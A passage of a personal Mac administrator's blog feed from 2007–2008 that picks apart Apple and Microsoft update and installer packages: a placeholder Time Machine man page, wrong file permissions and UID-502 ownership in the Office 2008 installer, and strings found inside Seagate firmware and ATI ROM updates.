<p>Here&#8217;s hoping that the update in tandem with the Airport/Time Capsule  fixes some of the problems people have had with using a hard drive as an Airport disk on the Airport Extremes. For me it wasn&#8217;t even about Time Machine, the real pain was transfers were SLOW even over the 100Mb/s Ethernet (dangit I jumped the gun and didn&#8217;t get the GigE model) and sometimes the Airport Disk couldn&#8217;t be mounted on my computers until the Airport was restarted. Also with the update the ever mysterious Wide Area Bonjour prefs are still around, they are in the Name-Edit&#8230; button now.One more thing&#8230;/usr/share/man/man1/<strong>tmdiagnose</strong>.1: Hmmm, is this a Time Machine diagnostics tool?Let&#8217;s have a look at the <a href="http://developer.apple.com/documentation/Darwin/Reference/ManPages/man1/tmdiagnose.1.html">man page</a> or <a href="http://www.hmug.org/man/1/tmdiagnose.php">this one</a>:tmdiagnose(1)             BSD General Commands Manual            tmdiagnose(1)NAME tmdiagnose, Other_name_for_same_program(), Yet another name for the same program. &#8212; This line parsedfor whatis database.<br />
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote">tmdiagnose(1)             BSD General Commands Manual            tmdiagnose(1) </p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>NAME</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     tmdiagnose, Other_name_for_same_program(), Yet another name for the same program. &#8212; This line parsed</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     for whatis database.</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>SYNOPSIS</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     tmdiagnose, [-abcd] [-a path] [file] [file ...] arg0 arg2 &#8230;</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>DESCRIPTION</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     Use the .Nm macro to refer to your program throughout the man page like such: tmdiagnose, Underlining</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     is accomplished with the .Ar macro like this: underlined text.</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     A list of items with descriptions:</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     item a   Description of item a</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     item b   Description of item b</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     A list of flags and their descriptions:</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     -a       Description of -a flag</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     -b       Description of -b flag</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>FILES</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     /usr/share/file_name                          FILE_1 description</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     /Users/joeuser/Library/really_long_file_name  FILE_2 description</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>SEE ALSO</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     a(1), b(1), c(1), a(2), b(2), a(3), b(3)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>Darwin                           April 2, 2008                          Darwin</p></blockquote>
<p> </p></blockquote>
<p><span style="font-weight: bold" class="Apple-style-span"> </span>Only a dummy man page. And no executable to be found. Its origins though are from the BSD package (see /Library/Receipts/boms/com.apple.pkg.BSD.bom) No change has been made to this man page since 10.5 but yet it is included with this update? Odd. My guess is that there is an Apple internal tool in use but not something for the general public. I mean why would the &#8216;Rest of Us&#8217; need to diagnose Time Machine?!It&#8217; just works right? <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Office 2008 for the &#8216;executive&#8217;</title>
		<link>http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/</link>
		<comments>http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 04:26:23 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/</guid>
		<description><![CDATA[Last night, while groggily honing in on the Office 2008 installer package UID problems, I missed another glaringly obvious defect: All the files are set executable, yes those files owned by 502 are also set executable. Take a look again &#8230; <a href="http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Last night, while groggily honing in on the Office 2008 installer package UID problems, I missed another glaringly obvious defect: All the files are set <strong>executable</strong>, yes those files owned by 502 are also set executable. Take a look again at the <a href="http://www.brunerd.com/blog/wp-content/uploads/2008/01/officebomstxt.zip">lsbom dump</a> you&#8217;ll see this everywhere: 100775. For the first two: the 10 means it&#8217;s a file, 40 is a directory. The last three (775) are significant: 7 is 4+2+1 (4:read, 2:write, 1:execute) and 5 is&#8230; that&#8217;s right: 4+1, read and execute privileges.</p>
<p>Now tell me does&#8230; <code>/Microsoft Office 2008/Read Me.html</code> need to be executable for you to look at it? Tick, tick, tick, *ding*! No. It does not let&#8217;s do another!<br />
Does this god awful GIF bullet? <code>/Microsoft Office 2008/Office/Media/Clipart/Bullets.localized/Red Swirl</code> No. But it is.<br />
Ok. One more:<code> /Microsoft Office 2008/Office/Media/Sounds/Yeehaw</code>? Yeah, you&#8217;re getting it. No.</p>
<p>The only things that needs execute privileges are directories (that&#8217;s application bundles too) and executables such as: <code>Microsoft Word.app/Contents/MacOS/Microsoft Word</code></p>
<p>And can you remove this execute bit in Finder? No. You have 3 choices, Read &#038; Write, Read Only, and No Access, flip through them all and the x will still be there. You&#8217;ll need to chmod it from the terminal, but be careful, not all of them&#8230; or just give <code>chmod -R ugo-x *</code> a whirl, then slowly go through and chmod go+x the executables one by one and see if it still works, might be faster than the inverse&#8230; but I haven&#8217;t tested anything yet, that&#8217;s for work tommorrow&#8230; and the next day&#8230; in the mean time&#8230;</p>
<p>Try this: <code>ls -lFGR /Applications/Microsoft\ Office\ 2008</code></p>
<p>You&#8217;ll be <a href="http://www.brunerd.com/blog/wp-content/uploads/2008/01/seeingred1.png">seeing red</a>. <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>BTW: Just in case, the media I am using is Part No: X13-64625-03, I hope MS can fix this and re-press this for Volume License customers &#8212; my day job! And speaking of just in case, thanks &#8216;justincase&#8217; of the Clix forums for pointing out the glaringly obvious.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/01/21/office-2008-for-the-executive/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Office 2008, 502, and you</title>
		<link>http://www.brunerd.com/blog/2008/01/21/office-2008-502-and-you/</link>
		<comments>http://www.brunerd.com/blog/2008/01/21/office-2008-502-and-you/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 08:08:04 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2008/01/21/office-2008-502-and-you/</guid>
		<description><![CDATA[So&#8230; I got a free copy of Office 2008 Digital Media Edition for free at MacWorld 2008! W00t! All because IDG double booked a room and the session I wanted got bumped until later. I instead went to see what&#8217;s &#8230; <a href="http://www.brunerd.com/blog/2008/01/21/office-2008-502-and-you/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So&#8230; I got a free copy of Office 2008 Digital Media Edition for free at MacWorld 2008! W00t! All because IDG double booked a room and the session I wanted got bumped until later. I instead went to see what&#8217;s new at the &#8220;Office2008:Form Meet Function&#8221; session, cute sounding eh? Within the first minute or two, to ensure our rapt attention I&#8217;m sure, our lady MC told us that we were all going to receive a free copy of Office 2008. Except, without the same flair as Oprah (she should have tried stretching it out: &#8220;You&#8217;re <strong>all</strong> getting Awwwwwww-Fiiiiiiiiiiiiiiiiice!!!&#8221;) Oh well, it still felt nice to win something, especially something as pricey as the Digital Media Edition which runs $467 at CDW! I got back yesterday and after debating whether I&#8217;d sell this bad boy or install it, I went with carnal knowledge of the beast.</p>
<p>First things first: They&#8217;ve moved to Apple&#8217;s Package Maker (.pkg) installer files, good news for the enterprise rollouts? Well, unfortunately they&#8217;ve created all the packages to install <a href="http://www.brunerd.com/blog/wp-content/uploads/2008/01/officebomstxt.zip">most all of the files</a> with the owner set to <strong>502</strong>.</p>
<p>So let&#8217;s say, Mr. IT installs this on a user&#8217;s machine where the first user is the admin (501) and the standard user is Joes User (502), well, when after all&#8217;s installed, it will give Joe User (502) ownership of these folders and their installed contents:</p>
<p>/Library/Automator/ (if it doesn&#8217;t exist already)<br />
/Library/Fonts/Microsoft<br />
/Library/Application Support/Microsoft<br />
/Applications/Microsoft Office 2008</p>
<p>Hmmm, that&#8217;s not good now is it? Because A) Joe User will find a way to screw it up and B) those are security holes IT does not want to have. Oh, if only they&#8217;d taken a peek at p. 1060 of <a href="http://books.google.com/books?id=AeyX8GqdzPYC&amp;printsec=frontcover&amp;sig=S0wJc7yah3w-D3D7hUBSkeTvUjU">Cocoa Programming</a>, which basically says, if you let root own the file but the person installing isn&#8217;t root, it will assign that user&#8217;s id to the installed files, that&#8217;s how it should be. Instead if UID 502 doesn&#8217;t exist on your system when you install it will still assign that UID as the file&#8217;s owner anyway. D&#8217;oh!</p>
<p>I think I feel a chown&#8217;ing script (or an Iceberg repackaging) coming on and an uninstaller script too. &#8220;But, there&#8217;s an Uninstaller!&#8221;, you say? Yes there is and it does a lovely job of moving the Microsoft Office 2008 folder to the Trash, but it kinda misses the Application Support folder, the fonts folder (and moving the disabled fonts back), and all 97 automator actions&#8230; tsk tsk. Still, it was free!</p>
<p>Morning Update: It was late, I was tired (and sick), and I totally didn&#8217;t think of this one: <del datetime="2008-01-25T18:08:17+00:00">&#8220;Fix Permissions&#8221;. If you do get your ownership fixed on all those files, make sure to delete all the Office2008* files from your /Library/Receipts folder, lest you reverse it all with one click of &#8220;Fix Permissions&#8221; in Disk Utility</del>. And no, you can&#8217;t use awk, sed, or some other readily apparent way to modify the bom files&#8230; that&#8217;s someting for the <a href="http://projects.info-pull.com/moab/MOAB-05-01-2007.html">MOAB crew</a> <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/01/21/office-2008-502-and-you/feed/</wfw:commentRss>
		<slash:comments>33</slash:comments>
		</item>
		<item>
		<title>What&#8217;s in Hard Drive Update 1.0?</title>
		<link>http://www.brunerd.com/blog/2007/11/08/whats-in-hard-drive-update-10-2/</link>
		<comments>http://www.brunerd.com/blog/2007/11/08/whats-in-hard-drive-update-10-2/#comments</comments>
		<pubDate>Thu, 08 Nov 2007 07:37:13 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2007/11/08/whats-in-hard-drive-update-10-2/</guid>
		<description><![CDATA[So there&#8217;s a Hard Drive Update 1.0 update out from Apple! Put on your mining hats and let&#8217;s go spelunking&#8230; first stop the package .dist file has some strings of interest: if( model.match(/ST3500641AS/) ) if( revision.match(/3.BTD/) ) if( model.match(/ST3750640AS/) ) &#8230; <a href="http://www.brunerd.com/blog/2007/11/08/whats-in-hard-drive-update-10-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>So there&#8217;s a <a href="http://www.apple.com/support/downloads/harddriveupdate10.html">Hard Drive Update 1.0</a> update out from Apple! Put on your mining hats and let&#8217;s go spelunking&#8230; first stop the package .dist file has some strings of interest:<br />
<code>if( model.match(/ST3500641AS/) )<br />
if( revision.match(/3.BTD/) )<br />
if( model.match(/ST3750640AS/) )<br />
if( revision.match(/3.BTF/) )</code></p>
<p>This refers to Seagate&#8217;s <a href="http://www.seagate.com/ww/v/index.jsp?vgnextoid=e2af99f4fa74c010VgnVCM100000dd04090aRCRD&#038;locale=en-US">750GB</a> &#038; <a href="http://www.seagate.com/ww/v/index.jsp?vgnextoid=785e99f4fa74c010VgnVCM100000dd04090aRCRD&#038;locale=en-US">500GB</a> drives</p>
<p>What else can we find? Once we open the archive.pax.gz there&#8217;s the actual Hard Drive Update 1.0 Cocoa app, which has a very scary sounding readme.rtf file inside the Contents/Resources/<language>.lproj:</p>
<blockquote><p>Warning: It is strongly recommended that you back up the data on your hard drives to an external drive or removable media before running this update.  Do not reset, shut down, or turn off power to your computer while performing this update.  If an error occurs during the update process, your hard drive(s) may become unusable and all data could be lost. If you have not backed up your data, click Quit and do so now.</p></blockquote>
<p>As <a href="http://www.youtube.com/watch?v=dwWXr0qCC1M">Count Floyd</a> would say: &#8220;Oooh <strong>Scary</strong>&#8221;</p>
<p>Next up is the MacOS/Hard Drive Update 1.0 binary and a selection of strings:<br />
<code>installEFIUpdater:<br />
%@/%@/hdfw.efi<br />
This computer is not connected to an AC power source.<br />
</code><br />
It uses an <a href="http://www.intel.com/technology/efi/index.htm">EFI</a> application that will update the firmware on the drives (the AC line makes me chuckle, to think of what the battery life of a Mac Pro would be?! Obviously they used a template for this.)</p>
<p>Inside hdfw.efi are strings that refer to <a href="http://en.wikipedia.org/wiki/Cygwin">Cygwin</a>, interesting what platform they are using to develop this with: a Windows box emulating *nix<br />
<code>C:\cygwin\home\Loki\Platform\Apple\Common\Application\ATAHDFWUtil\ATAHDFWUtil.c<br />
C:\cygwin\home\Loki\Platform\IntelMpg\AppleTools\Build\X64\ATAHDFWUtil.pdb<br />
</code><br />
Inside the Hard Drive Update 1.0.app/Contents/Resources/System/HDFW directory are hives of model names with single string files (FWAlias &#038; FWCurrent)  and the actual firmwares (FW01):<br />
<code>ST3500641AS__P 3_BTD/FWAlias<br />
ST3500641AS__P 3_BTE/FWCurrent<br />
ST3500641AS__P_3_BTE/FW01<br />
ST3500641AS__Q 3_BTD/FWAlias<br />
ST3500641AS__Q 3_BTE/FWCurrent<br />
ST3500641AS__Q_3_BTE/FW01<br />
ST3750640AS_P 3_BTF/FWAlias<br />
ST3750640AS_P 3_BTH/FWCurrent<br />
ST3750640AS_P_3_BTH/FW01<br />
ST3750640AS_Q 3_BTF/FWAlias<br />
ST3750640AS_Q 3_BTH/FWCurrent<br />
ST3750640AS_Q_3_BTH/FW01<br />
</code><br />
Here&#8217;s an amusing edited list of strings <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
<code>0000000000000c96 Lube Event<br />
0000000000000d28 Virgin Sector Cleaned<br />
0000000000000e8f Enter DateOfBirth YYWW<br />
0000000000000eaa Enter 64Bit WorldWideName<br />
000000000000534c DRIVE HAS BEEN SET-STUFFED -%1<br />
00000000000058ca Invalid caller to SaveStuffToDisk()! Write not done! %x<br />
0000000000006c1a  !! Going Offlimits !!<br />
0000000000006c31 Sleep?<br />
</code><br />
Sounds like a date gone wrong! You really should get the DOB <em>before</em> initiating a lube event on a virgin sector&#8230; *ahem* let me try and get back on track with a couple informative strings about the guts of the drive:<br />
<code>0000000000012b4b Orig Code = BTG4H1 TONKA2_GX_4H1.0GC.0B9<br />
0000000000012e87 Built for GALAXY4D,PITKIN,Redback,TI1810 PreAmp,Agere7531 PreAmp,McKinleyDT,4Disk,220 Servos,7200RPM,8Pole,133MHz<br />
</code></p>
<p>Well, enough spelunking I&#8217;m headed topside now.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2007/11/08/whats-in-hard-drive-update-10-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#8217;s in the Login &amp; Keychain Update 1.0</title>
		<link>http://www.brunerd.com/blog/2007/11/07/whats-in-the-login-keychain-update-10/</link>
		<comments>http://www.brunerd.com/blog/2007/11/07/whats-in-the-login-keychain-update-10/#comments</comments>
		<pubDate>Wed, 07 Nov 2007 23:59:58 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2007/11/07/whats-in-the-login-keychain-update-10/</guid>
		<description><![CDATA[Login &#038; Keychain Update 1.0 The Login &#038; Keychain Update 1.0 for Mac OS X 10.5 Leopard is recommended for all Leopard installations. It addresses issues you may encounter when: *Logging in with an account originally created in Mac OS &#8230; <a href="http://www.brunerd.com/blog/2007/11/07/whats-in-the-login-keychain-update-10/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://docs.info.apple.com/article.html?artnum=306804">Login &#038; Keychain Update 1.0</a></p>
<blockquote><p>The Login &#038; Keychain Update 1.0 for Mac OS X 10.5 Leopard is recommended for all Leopard installations. It addresses issues you may encounter when:</p>
<ol>
*Logging in with an account originally created in Mac OS X 10.1 or earlier that has a password of 8 or more characters.<br />
*Connecting to some 802.11b/g wireless networks.<br />
*Changing the password of a FileVault-protected account.</ol>
</blockquote>
<p>What files does it affect?</p>
<p><code>/System/Library/Extensions/IO80211Family.kext/Contents/PlugIns/AppleAirPortBrcm4311.kext/Contents/MacOS/AppleAirPortBrcm4311<br />
/System/Library/PrivateFrameworks/DiskImages.framework/Versions/A/CodeResources<br />
/System/Library/PrivateFrameworks/DiskImages.framework/Versions/A/DiskImages<br />
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/CodeResources<br />
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/OSServices</code></p>
<p>Brcm4311 meaning the Broadcom 4311 wireless chip<br />
I&#8217;m sure this is a stop-gap until 10.5.1</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2007/11/07/whats-in-the-login-keychain-update-10/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>What&#8217;s in the ATI Radeon X1900 XT Firmware Update?</title>
		<link>http://www.brunerd.com/blog/2007/10/16/whats-in-the-ati-radeon-x1900-xt-firmware-update/</link>
		<comments>http://www.brunerd.com/blog/2007/10/16/whats-in-the-ati-radeon-x1900-xt-firmware-update/#comments</comments>
		<pubDate>Wed, 17 Oct 2007 05:59:58 +0000</pubDate>
		<dc:creator>brunerd</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[OS X]]></category>
		<category><![CDATA[Packages]]></category>

		<guid isPermaLink="false">http://www.brunerd.com/blog/2007/10/16/whats-in-the-ati-radeon-x1900-xt-firmware-update/</guid>
		<description><![CDATA[OK so there&#8217;s an update for the Radeon X1900 and we really don&#8217;t know what&#8217;s been improved&#8230; If you wanna know where the ROM is it&#8217;s here ATI Radeon X1900 XT Graphics Card Update.app/Contents/Resources/ ATIFacelessFlash.app/Contents/Resources/R580Alopias_1.202_EBC.ROM And what&#8217;s in it? Pure &#8230; <a href="http://www.brunerd.com/blog/2007/10/16/whats-in-the-ati-radeon-x1900-xt-firmware-update/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>OK so there&#8217;s an <a href="http://http://www.apple.com/support/downloads/atiradeonx1900xtfirmwareupdate.html">update</a> for the Radeon X1900 and we really don&#8217;t know what&#8217;s been improved&#8230;<br />
If you wanna know where the ROM is it&#8217;s here<br />
<code>ATI Radeon X1900 XT Graphics Card Update.app/Contents/Resources/<br />
ATIFacelessFlash.app/Contents/Resources/R580Alopias_1.202_EBC.ROM</code></p>
<p>And what&#8217;s in it? Pure binary. No symbol tables, no strings save for the the device number and copyrights&#8230;.<br />
<code><br />
ATY,Alopias<br />
ATY,RadeonX1900<br />
113-A52027-202<br />
109-A52027-00<br />
01.00.202<br />
AMD Inc. All Rights Reserved. 2005-2007<br />
</code><br />
If we had the original ROM and this we could see what&#8217;s different then reverse engineer the binary! Whatcha think? <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' />  </p>
<p>Me thinks Apple and AMD/ATi should pimp themselves better for all their hard work&#8230;. unless it&#8217;s a bone headed bug they had to fix <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_lol.gif' alt=':lol:' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2007/10/16/whats-in-the-ati-radeon-x1900-xt-firmware-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

